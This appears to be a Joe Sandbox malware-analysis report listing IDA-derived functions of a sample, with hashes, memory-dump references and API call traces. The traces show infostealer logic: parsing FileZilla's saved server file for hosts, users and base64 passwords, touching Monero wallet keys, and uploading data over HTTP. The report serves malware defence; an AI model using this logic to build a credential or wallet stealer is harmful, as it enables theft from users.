Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 721b9385ac456aca4eb0aa95a34a89fc0779ef8f50c3874e01d404cb022d7c6e
Instruction ID: 461dcea5d173e1b6865f5e48c595a05887298fda5eff11ace0a16d3615fe572b
Opcode Fuzzy Hash: 721b9385ac456aca4eb0aa95a34a89fc0779ef8f50c3874e01d404cb022d7c6e
Instruction Fuzzy Hash: 964126F7A446084BF314AD7ADC44376B796EBD0360F2B863CDA95C77C4EC7998064282

Function 0084C8B3 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 493fdf35e9fe501779385be32e29f1ce498db1b5645148ab770fb7aa060cfbaa
Instruction ID: 461c106cb405166df277f244df3d83334c9f9a42c5abab5f9f39bfc31c3c7476
Opcode Fuzzy Hash: 493fdf35e9fe501779385be32e29f1ce498db1b5645148ab770fb7aa060cfbaa
Instruction Fuzzy Hash: 0D41B6B261C600AFE701BF2CDC8567AB7E5EF98724F054A2DEAC4C3300E67598518B93

Function 006EA0AA Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a4506a59b1153d452a52420fa550c89c37cb5c2adc1e4d8a229149f2fdfab4
Instruction ID: c76a01f3e413bfc04610af01f58d9ad41eff4b90e981a9468d3566c836929432
Opcode Fuzzy Hash: 30a4506a59b1153d452a52420fa550c89c37cb5c2adc1e4d8a229149f2fdfab4
Instruction Fuzzy Hash: 5C41E4B2A085008FE344AE2DDC8577AF7E6EFD8320F1A863DE6D5C3784E93458058682

Function 00734493 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d8a0f648f3ee3273950620d616ee5e6b7d19eab0b8feaf706574830ceedd84
Instruction ID: bd4838141714ac05eb1fe54571b24460b507210e34c505db6e02a9d6cf668a82
Opcode Fuzzy Hash: 84d8a0f648f3ee3273950620d616ee5e6b7d19eab0b8feaf706574830ceedd84
Instruction Fuzzy Hash: 57415CF3A085049BE304AE2DEC9277BF7D6EFD8310F1A863DD699C3784E93558048686

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00410250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
RtlAllocateHeap.NTDLL(00000000), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410393
StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00410562
lstrcat.KERNEL32(?,profile: null), ref: 00410571
lstrcat.KERNEL32(?,url: ), ref: 00410580
lstrcat.KERNEL32(?,00000000), ref: 00410593
lstrcat.KERNEL32(?,00421678), ref: 004105A2
lstrcat.KERNEL32(?,00000000), ref: 004105B5
lstrcat.KERNEL32(?,0042167C), ref: 004105C4
lstrcat.KERNEL32(?,login: ), ref: 004105D3
lstrcat.KERNEL32(?,00000000), ref: 004105E6
lstrcat.KERNEL32(?,00421688), ref: 004105F5
lstrcat.KERNEL32(?,password: ), ref: 00410604
lstrcat.KERNEL32(?,00000000), ref: 00410617
lstrcat.KERNEL32(?,00421698), ref: 00410626
lstrcat.KERNEL32(?,0042169C), ref: 00410635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E

Strings

<Host>, xrefs: 0041037C
<Pass encoding="base64">, xrefs: 0041045A
password: , xrefs: 004105FB
profile: null, xrefs: 00410568
login: , xrefs: 004105CA
url: , xrefs: 00410577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410
<Port>, xrefs: 004103C6
browser: FileZilla, xrefs: 00410559

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: b83ff178b7d5869ad14250963add7427843a330348d9764d8bb8964bcaa99a90
Instruction ID: 638dbb6ae615345b7932def7a19798fabdeecf0a7b17130adc4e1f0da6208cd7
Opcode Fuzzy Hash: b83ff178b7d5869ad14250963add7427843a330348d9764d8bb8964bcaa99a90
Instruction Fuzzy Hash: 23D17E75A41208ABCB04FBF0DD96EEE7379EF14314F50441EF102A6091DF78AA96CB69

Function 00405960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,0128E5E0), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0128E550,00000000,?,01289998,00000000,?,00421A1C), ref: 00405E71
lstrlen.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
RtlAllocateHeap.NTDLL(00000000), ref: 00405E9A
lstrlen.KERNEL32(00000000), ref: 00405EAF
lstrlen.KERNEL32(00000000), ref: 00405ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,0128E5C0,?,0128DBB0,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405A96
", xrefs: 00405CD5
------, xrefs: 00405C0B
", xrefs: 00405E16
------, xrefs: 00405D4C

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: ac4f865af4aa3e0c16e5010cfb2a8e0f1ad85d16cc29c10ae0f08586dfb824bd
Instruction ID: 0e5facfd5055de801f7f1688313f8c34c81b7350285768c2e278bb72b88d17e9
Opcode Fuzzy Hash: ac4f865af4aa3e0c16e5010cfb2a8e0f1ad85d16cc29c10ae0f08586dfb824bd
Instruction Fuzzy Hash: 9F125171821118ABCB15FBA1DC95FEE7378BF14714F50015EB10A62091DF782B9ACF69

Function 0040CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,012899C8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcat.KERNEL32(?,00000000), ref: 0040D208
lstrcat.KERNEL32(?,00421478), ref: 0040D217
lstrcat.KERNEL32(?,00000000), ref: 0040D22A
lstrcat.KERNEL32(?,0042147C), ref: 0040D239
lstrcat.KERNEL32(?,00000000), ref: 0040D24C
lstrcat.KERNEL32(?,00421480), ref: 0040D25B
lstrcat.KERNEL32(?,00000000), ref: 0040D26E
lstrcat.KERNEL32(?,00421484), ref: 0040D27D
lstrcat.KERNEL32(?,00000000), ref: 0040D290
lstrcat.KERNEL32(?,00421488), ref: 0040D29F
lstrcat.KERNEL32(?,00000000), ref: 0040D2B2
lstrcat.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcat.KERNEL32(?,00000000), ref: 0040D2D4
lstrcat.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

lstrlen.KERNEL32(?), ref: 0040D32A
lstrlen.KERNEL32(?), ref: 0040D339

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(012888C0,0040A7A7,?,0040A7A7,012888C0), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: b5b6774b38bbe5c613bd724fcd1069255e6ae182392d22547e929488bfccd0a6
Instruction ID: 2c4570a162c9209662db32344ca83047e0d2bb731ca2817032ce09d5ba58344d
Opcode Fuzzy Hash: b5b6774b38bbe5c613bd724fcd1069255e6ae182392d22547e929488bfccd0a6
Instruction Fuzzy Hash: 86E16D75950108ABCB04FBE1DD96EEE7379AF14304F10015EF106B60A1DE38AA5ACB6A

Function 0040C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0128CC18,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,0128CC60,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,0128CCF0), ref: 0040CB1E
StrStrA.SHLWAPI(?,0128D2B8,00000000,?,00421458,00000000,?,00000000,00000000,?,01288800,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,0128D138), ref: 0040CCB9

Part of subcall function 0040C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C

StrStrA.SHLWAPI(?,0128D138,00000000,?,0042145C,00000000,?,00000000,012889A0), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,01288AB0), ref: 0040CD71

Part of subcall function 0040C820: lstrcat.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcat.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcat.KERNEL32(?,00420B4E), ref: 0040C978

lstrlen.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
